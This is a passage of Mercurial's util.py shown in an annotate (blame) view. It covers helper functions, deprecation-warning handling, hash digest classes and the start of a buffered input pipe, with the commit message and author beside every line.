Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   201
    >>> def f(x):
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   202
    ...     return 'f(%s)' % x
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   203
    >>> rapply(f, None) is None
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   204
    True
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   205
    >>> rapply(f, 'a')
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   206
    'f(a)'
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   207
    >>> rapply(f, {'a'}) == {'f(a)'}
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   208
    True
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   209
    >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   210
    ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   211
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   212
    >>> xs = [object()]
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   213
    >>> rapply(pycompat.identity, xs) is xs
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   214
    True
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   215
    """
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   216
    if f is pycompat.identity:
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   217
        # fast path mainly for py2
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   218
        return xs
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   219
    return _rapply(f, xs)
72de5c504833 py3: factor out helpers to apply string conversion recursively
Yuya Nishihara <yuya@tcha.org>
parents: 35755
diff changeset
   220
33839
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33820
diff changeset
   221
def bytesinput(fin, fout, *args, **kwargs):
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33820
diff changeset
   222
    sin, sout = sys.stdin, sys.stdout
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33820
diff changeset
   223
    try:
33852
f18b11534274 py3: make encoding.strio() an identity function on Python 2
Yuya Nishihara <yuya@tcha.org>
parents: 33839
diff changeset
   224
        sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
33853
cfcfbe6c96f8 py3: select input or raw_input by pycompat
Yuya Nishihara <yuya@tcha.org>
parents: 33852
diff changeset
   225
        return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
33839
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33820
diff changeset
   226
    finally:
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33820
diff changeset
   227
        sys.stdin, sys.stdout = sin, sout
7d5bc0e5b88f py3: introduce a wrapper for __builtins__.{raw_,}input()
Augie Fackler <augie@google.com>
parents: 33820
diff changeset
   228
30745
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
   229
def bitsfrom(container):
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
   230
    bits = 0
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
   231
    for bit in container:
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
   232
        bits |= bit
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
   233
    return bits
c1b7b2285522 revlog: flag processor
Remi Chaintron <remi@fb.com>
parents: 30736
diff changeset
   234
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   235
# python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   236
# to display anything to standard user so detect if we are running test and
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   237
# only use python deprecation warning in this case.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   238
_dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   239
if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   240
    # explicitly unfilter our warning for python 2.7
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   241
    #
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   242
    # The option of setting PYTHONWARNINGS in the test runner was investigated.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   243
    # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   244
    # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   245
    # makes the whole PYTHONWARNINGS thing useless for our usecase.
31952
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
   246
    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
   247
    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents: 31950
diff changeset
   248
    warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
36588
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
   249
if _dowarn and pycompat.ispy3:
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
   250
    # silence warning emitted by passing user string to re.sub()
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
   251
    warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents: 36585
diff changeset
   252
                            r'mercurial')
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   253
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   254
def nouideprecwarn(msg, version, stacklevel=1):
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   255
    """Issue an python native deprecation warning
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   256
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   257
    This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   258
    """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   259
    if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   260
        msg += ("\n(compatibility will be dropped after Mercurial-%s,"
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   261
                " update your code.)") % version
36128
02ed94dd9fd6 util: call warnings.warn() with a sysstr in nouideprecwarn
Augie Fackler <augie@google.com>
parents: 36038
diff changeset
   262
        warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
31950
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents: 31946
diff changeset
   263
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   264
DIGESTS = {
29342
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
   265
    'md5': hashlib.md5,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
   266
    'sha1': hashlib.sha1,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512
Augie Fackler <raf@durin42.com>
parents: 29324
diff changeset
   267
    'sha512': hashlib.sha512,
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   268
}
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   269
# List of digest types from strongest to weakest
27357
7f5a0bd4c9aa util: make hashlib import unconditional
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27112
diff changeset
   270
DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   271
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   272
for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   273
    assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   274
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   275
class digester(object):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   276
    """helper to compute digests.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   277
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   278
    This helper can be used to compute one or more digests given their name.
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   279
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   280
    >>> d = digester([b'md5', b'sha1'])
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   281
    >>> d.update(b'foo')
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   282
    >>> [k for k in sorted(d)]
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   283
    ['md5', 'sha1']
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   284
    >>> d[b'md5']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   285
    'acbd18db4cc2f85cedef654fccc4a4d8'
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   286
    >>> d[b'sha1']
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   287
    '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
   288
    >>> digester.preferred([b'md5', b'sha1'])
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   289
    'sha1'
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   290
    """
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   291
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   292
    def __init__(self, digests, s=''):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   293
        self._hashes = {}
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   294
        for k in digests:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   295
            if k not in DIGESTS:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   296
                raise Abort(_('unknown digest type: %s') % k)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   297
            self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   298
        if s:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   299
            self.update(s)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   300
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   301
    def update(self, data):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   302
        for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   303
            h.update(data)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   304
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   305
    def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   306
        if key not in DIGESTS:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   307
            raise Abort(_('unknown digest type: %s') % k)
35582
72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents: 35513
diff changeset
   308
        return nodemod.hex(self._hashes[key].digest())
22962
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   309
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   310
    def __iter__(self):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   311
        return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   312
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   313
    @staticmethod
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   314
    def preferred(supported):
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   315
        """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   316
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   317
        for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   318
            if k in supported:
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   319
                return k
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   320
        return None
4d58f4083148 util: add a helper class to compute digests
Mike Hommey <mh@glandium.org>
parents: 22958
diff changeset
   321
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   322
class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   323
    """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   324
    size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   325
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   326
        d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   327
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   328
    When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   329
    """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   330
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   331
    def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   332
        self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   333
        self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   334
        self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   335
        self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   336
        self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   337
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   338
    def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   339
        content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   340
        self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   341
        self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   342
        return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   343
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   344
    def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   345
        if self._size != self._got:
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   346
            raise Abort(_('size mismatch: expected %d, got %d') %
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   347
                (self._size, self._got))
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   348
        for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   349
            if v != self._digester[k]:
23076
c312ef382033 i18n: add hint to digest mismatch message
Wagner Bruna <wbruna@softwareexpress.com.br>
parents: 23030
diff changeset
   350
                # i18n: first parameter is a digest name
22963
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   351
                raise Abort(_('%s mismatch: expected %s, got %s') %
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   352
                    (k, v, self._digester[k]))
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation
Mike Hommey <mh@glandium.org>
parents: 22962
diff changeset
   353
11565
7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents: 11469
diff changeset
   354
try:
15657
d976b1ef6760 util: don't mess with builtins to emulate buffer()
Matt Mackall <mpm@selenic.com>
parents: 15656
diff changeset
   355
    buffer = buffer
11565
7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin
Renato Cunha <renatoc@gmail.com>
parents: 11469
diff changeset
   356
except NameError:
33549
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
   357
    def buffer(sliceable, offset=0, length=None):
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
   358
        if length is not None:
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
   359
            return memoryview(sliceable)[offset:offset + length]
9a2ee9591acc util: remove dead code which used to be for old python2 versions
Alex Gaynor <agaynor@mozilla.com>
parents: 33446
diff changeset
   360
        return memoryview(sliceable)[offset:]
10756
cb681cc59a8d util: fake the builtin buffer if it's missing (jython)
Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de>
parents: 10487
diff changeset
   361
34646
238abf65a8ad codemod: use pycompat.isposix
Jun Wu <quark@fb.com>
parents: 34645
diff changeset
   362
closefds = pycompat.isposix
10197
29e3c4a7699b subrepo: normalize svn output line-endings
Patrick Mezard <pmezard@gmail.com>
parents: 9996
diff changeset
   363
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   364
_chunksize = 4096
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   365
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   366
class bufferedinputpipe(object):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   367
    """a manually buffered input pipe
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   368
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   369
    Python will not let us use buffered IO and lazy reading with 'polling' at
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   370
    the same time. We cannot probe the buffer state and select will not detect
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   371
    that data are ready to read if they are already buffered.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   372
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   373
    This class let us work around that by implementing its own buffering
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   374
    (allowing efficient readline) while offering a way to know if the buffer is
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   375
    empty from the output (allowing collaboration of the buffer with polling).
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   376
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   377
    This class lives in the 'util' module because it makes use of the 'os'
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   378
    module from the python stdlib.
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   379
    """
36525
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   380
    def __new__(cls, fh):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   381
        # If we receive a fileobjectproxy, we need to use a variation of this
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   382
        # class that notifies observers about activity.
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   383
        if isinstance(fh, fileobjectproxy):
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   384
            cls = observedbufferedinputpipe
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   385
3158052720ae util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36524
diff changeset
   386
        return super(bufferedinputpipe, cls).__new__(cls)
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   387
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   388
    def __init__(self, input):
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   389
        self._input = input
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   390
        self._buffer = []
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   391
        self._eof = False
25672
050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735)
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25671
diff changeset
   392
        self._lenbuf = 0
25406
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   393
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 25245
diff changeset
   394
    @property
be930f16a52a util: introduce a bufferedinputpipe utility
Pierre-Yves David <pierre-yves.david@fb.com>
